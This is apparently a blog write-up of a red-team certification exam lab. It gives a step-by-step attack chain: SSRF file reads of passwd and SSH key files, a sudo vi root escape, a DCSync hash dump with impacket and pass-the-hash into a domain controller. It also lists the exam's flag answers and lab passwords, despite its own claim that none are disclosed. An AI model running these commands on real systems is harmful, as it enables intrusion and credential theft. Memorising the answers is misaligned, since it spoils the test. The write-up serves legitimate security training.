Press enter or click to view image in full size
Introduction
The CRTA (Certified Red Team Analyst) exam by CyberWarFare Labs is a fully hands-on, black-box red team assessment. There are no multiple-choice questions. You either root the machine and collect the flags — or you don’t pass.
The exam consists of a live VPN-connected environment. Your goal: compromise a multi-layer infrastructure, escalate privileges, move laterally, and ultimately retrieve a secret.xml file from the Domain Controller's Administrator Desktop.
This writeup documents the full attack chain I used to pass the exam — step by step. If you’re preparing for CRTA, this should give you a clear picture of what to expect and how to approach it.
Disclaimer: This writeup is published after the exam was passed. Nothing here compromises exam integrity — CWL explicitly allows sharing methodology. No credentials or flags are disclosed in full.
Exam Environment
VPN Scope: 172.26.10.0/24
Out of scope: 172.26.10.1 (gateway — do not touch)
Initial target: 172.26.10.11
Internal network: 10.10.10.0/24 (discovered later)
Domain Controller: 10.10.10.100The lab is accessed via an .ovpn file provided after purchasing the exam. Once connected, you begin with a completely blank slate — no hints, no starting point given explicitly.
Phase 1 — Reconnaissance
Network Discovery
After connecting to the VPN, the first step is always to identify live hosts:
bash
nmap -sn 172.26.10.0/24This revealed one live host: 172.26.10.11
Port Scanning
bash
nmap -sV -sC -p- 172.26.10.11 --min-rate 5000 -oN nmap_full.txtKey open ports discovered:
22/tcp SSH (OpenSSH)
23100/tcp HTTP (Python Flask application)
8091/tcp HTTP (HotHost monitoring service)Phase 2 — Web Application Analysis
Flask App on Port 23100
Navigating to http://172.26.10.11:23100 revealed a Python Flask web application. Exploring the routes manually and with directory fuzzing, a critical endpoint was discovered:
/fetchThis endpoint accepted a URL parameter and fetched its content — a classic SSRF (Server-Side Request Forgery) setup.
bash
curl "http://172.26.10.11:23100/fetch?url=http://127.0.0.1/"SSRF → Local File Read
The SSRF vulnerability allowed using the file:// URI scheme to read files from the host filesystem. The hostfs prefix was needed due to the application running inside a Docker container:
bash
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd"This returned the /etc/passwd file of the host machine — not just the container. Scanning the output revealed a critical user:
app-admin:x:1001:1001::/home/app-admin:/bin/bashContinuing to read sensitive files via SSRF:
bash
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/home/app-admin/.ssh/id_rsa"
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/app-config"After reading application configuration files through SSRF, the plaintext password for app-admin was found:
app-admin : @dmin@123Phase 3 — Initial Access via SSH
With valid credentials, SSH access was straightforward:
bash
ssh [email protected]Successful login. We now have a shell on the target host.
Phase 4 — Privilege Escalation
sudo -l
The first command after any initial access:
bash
sudo -lOutput:
User app-admin may run the following commands on this host:
(ALL : ALL) NOPASSWD: /usr/bin/vivi with sudo and NOPASSWD — a textbook GTFOBins escalation.
GTFOBins — vi → root
bash
sudo /usr/bin/vi -c ':!/bin/bash'Inside vi, executing shell escape:
:set shell=/bin/bash
:shellOr more directly:
:!/bin/bashRoot shell obtained on 172.26.10.11.
Phase 5 — Docker Container Enumeration
Now as root, the environment needed deeper exploration. Running processes and network interfaces revealed something important:
bash
ip addr show
ifconfig
docker psTwo Docker containers were running on the host:
Container Service Port
HotHost Monitoring service 8091 (internal)
Python app Flask SSRF application 23100HotHost Container (Port 8091)
The HotHost monitoring service on port 8091 (not 23100 — this distinction matters for the exam flags) contained a configuration file:
Get Shikhali Jamalzade’s stories in your inbox
Join Medium for free to get updates from this writer.
bash
docker exec -it <hothost_container_id> /bin/bash
cat /hothost.jsonhothost.json contained an MD5 hash for the database password:
665a26fad71ea9ef3edf5f33195d4b31Base64 Encoding of the Hash (Flag)
One of the exam questions requires the Base64 encoding of this hash — but as binary, not as the hex string. The correct conversion:
bash
echo "665a26fad71ea9ef3edf5f33195d4b31" | xxd -r -p | base64Result:
Zlom+tceqe8+318zGV1LMQ==Key lesson: The exam asks for Base64 of the binary representation of the MD5 hash — not Base64 of the hex string. This tripped me up initially.
Phase 6 — Lateral Movement & Network Pivoting
Discovering the Internal Network
Reading the SSH auth logs revealed connections originating from an internal IP:
bash
cat /var/log/auth.log | grep "Accepted"A recurring IP appeared: 10.10.10.20
This machine was on an internal network segment not visible from the exam’s initial VPN range. From the compromised host (172.26.10.11), this internal network was reachable.
Enumerating 10.10.10.20
bash
nmap -sV -p- 10.10.10.20 --min-rate 3000
curl http://10.10.10.20/
gobuster dir -u http://10.10.10.20 -w /usr/share/wordlists/dirb/common.txtThe /elfinder directory was discovered — a file manager interface.
AD_Resources.txt
Inside the elfinder directory, a file named AD_Resources.txt was found containing Active Directory credentials:
[email protected] / Summer@2025These credentials belonged to a domain user with replication privileges — the key to DCSync.
Domain Controller at 10.10.10.100
With domain credentials in hand, targeting the DC:
bash
nmap -sV -p 445,88,389,636 10.10.10.100Confirmed: 10.10.10.100 is the Domain Controller for ent.corp.
Phase 7 — DCSync Attack
impacket-secretsdump
Using the sync_user credentials to perform a DCSync attack and dump all domain hashes:
bash
impacket-secretsdump ent.corp/sync_user:'Summer@2025'@10.10.10.100The output contained all domain account NTLM hashes. The critical ones:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:36405f88da713c31bbff52e57aea1f86:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NT_HASH>:::The krbtgt NT hash (36405f88da713c31bbff52e57aea1f86) is itself a flag in the exam.
Phase 8 — Pass-the-Hash → Administrator Access
smbclient with Administrator Hash
With the Administrator’s NT hash, Pass-the-Hash (PtH) gives direct access to the DC without knowing the plaintext password:
bash
smbclient //10.10.10.100/C$ -U 'Administrator' --pw-nt-hash <ADMINISTRATOR_NT_HASH>Retrieving secret.xml
Navigating to the Administrator Desktop:
bash
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> ls
smb: \Users\Administrator\Desktop\> get secret.xml.txtsecret.xml.txt retrieved. Exam objective complete.
Attack Chain Summary
[VPN] → Nmap scan → 172.26.10.11
↓
[Port 23100] Flask App → /fetch endpoint → SSRF
↓
[SSRF] file:///hostfs/etc/passwd → credentials (app-admin:@dmin@123)
↓
[SSH] [email protected]
↓
[sudo vi] GTFOBins → ROOT on 172.26.10.11
↓
[Docker] HotHost (port 8091) → hothost.json → MD5 hash
↓
[auth.log] → discovered 10.10.10.20
↓
[10.10.10.20] /elfinder → AD_Resources.txt → [email protected] creds
↓
[DCSync] impacket-secretsdump → krbtgt + Administrator NT hashes
↓
[PtH] smbclient → C$\Users\Administrator\Desktop\secret.xml.txt ✅Key Exam Flags
Flag What You Find
SSRF web route /fetch
Host credentials Via file:///hostfs/etc/passwd
HotHost TCP port 8091 (not 23100)
DB password hash Zlom+tceqe8+318zGV1LMQ== (Base64 of binary MD5)
Internal pivot IP 10.10.10.20
Web directory on pivot /elfinder
DC IP 10.10.10.100
krbtgt NT hash 36405f88da713c31bbff52e57aea1f86
Final objective secret.xml.txt from DC DesktopTools Used
nmap Port scanning and service detection
curl SSRF exploitation and web interaction
gobuster Web directory fuzzing
ssh Initial access
vi (GTFOBins) Privilege escalation
docker Container enumeration
impacket-secretsdump DCSync attack
smbclient Pass-the-Hash, file retrieval
xxd + base64 Hash format conversionLessons Learned
SSRF isn’t just about HTTPS — test file:// too. The file:// scheme with hostfs prefix to escape Docker containers is a classic lab trick. Know it.
GTFOBins is not optional knowledge. sudo -l should be your second command after gaining any shell. Always check it.
Log files are goldmines. /var/log/auth.log revealed the internal network. Enumerate everything on a compromised host.
Hash math matters. The Base64-of-binary flag is easy to get wrong. Always confirm what encoding format the question is asking for.
DCSync requires specific privileges. sync_user having replication rights isn't an accident — it's the intended path. When you find AD credentials, check what they can actually do before assuming they're useless.
Final Thoughts
CRTA is a well-constructed exam for anyone entering Active Directory offensive security. The attack chain feels realistic: web app → SSRF → SSH → privesc → lateral movement → DCSync → domain admin. This is the kind of chain you’ll see in real environments.
It’s not an OSCP — the scope is smaller and the hints are somewhat embedded in the lab design — but it’s a solid certification that proves you can chain vulnerabilities together in a live environment.
If you’re preparing: make sure you’re comfortable with SSRF exploitation, Docker container awareness, impacket tooling, and GTFOBins. Everything else follows from those foundations.
Press enter or click to view image in full size